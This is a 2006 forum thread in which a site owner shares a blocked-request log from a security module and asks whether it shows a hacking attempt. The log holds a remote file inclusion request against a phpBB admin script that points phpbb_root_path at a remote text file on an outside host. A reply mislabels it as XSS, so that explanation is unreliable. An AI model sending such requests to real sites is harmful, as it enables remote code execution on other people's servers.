What is this?

New Member Joined: Aug 25, 2005 Posts: 15

I got around 30 of these yesterday and the same today...

Date & Time: 2006-11-13 10:55:45 EST GMT -0500
Blocked IP: **.19.**.162
User ID: Anonymous (1)
Reason: Abuse-Filter
--------------------
User Agent: libwww-perl/5.65
Query String:
www.mysite.net/modules/Forums/admin/admin_styles.php?phpbb_root_path=http://www.ismailyk.gen.tr/lol1.txt?
Get String:
www.mysite.net/modules/Forums/admin/admin_styles.php?phpbb_root_path=http://www.ismailyk.gen.tr/lol1.txt?
Post String: www.mysite.net/modules/Forums/admin/admin_styles.php
Forwarded For: **.19.***.162
Client IP: none
Remote Address: **.19.***.162
Remote Port: 49647
Request Method: GET

I did not get this until I updated my IP2country. This comes from many different IP addresses. So is this a bug or is somebody trying to hack my site?

Thanks

Posted: Mon Nov 13, 2006 1:10 pm

This seems to be happening a lot recently, have a look at this post:

http://www.ravenphpscripts.com/postp87546.html#87546

Posted: Mon Nov 13, 2006 1:38 pm

Thats a classic XSS attack. The last few versions of Sentinel will detect and block this specific attack (as you have found out).
You may want to consider using HTTPAuth authentication on your admin file as well, details can be found in the forums if you use the search facility.